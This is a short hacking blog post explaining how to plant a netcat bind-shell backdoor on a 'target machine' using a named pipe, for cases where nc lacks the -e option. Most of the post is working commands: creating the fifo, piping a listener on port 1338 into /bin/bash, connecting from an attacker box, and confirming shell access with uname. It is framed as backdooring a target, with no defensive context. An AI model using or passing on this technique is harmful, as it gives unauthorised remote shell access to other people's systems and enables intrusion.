Backdooring with Mkfifo

Posted by shinigami at 16:36 Read our previous post

When the nc cannot giving option -e for execute some program, we have 2 way to solve it.

1. Install netcat traditional
2. Using mkfifo

In this post, I will share how to make backdoor using mkfifo.
Simply by run this command on the target machine:

target@ubuntu# mkfifo file

Inject netcat into file

target@ubuntu# nc -lk -p 1338 < file | /bin/bash > file

Now, connect to the target using nc and listen at port 1338

root@bt# nc -v 192.168.56.101 1338

check the bash command:

uname -a

If return : Linux bla..bla.......
It's mean that you get the bash command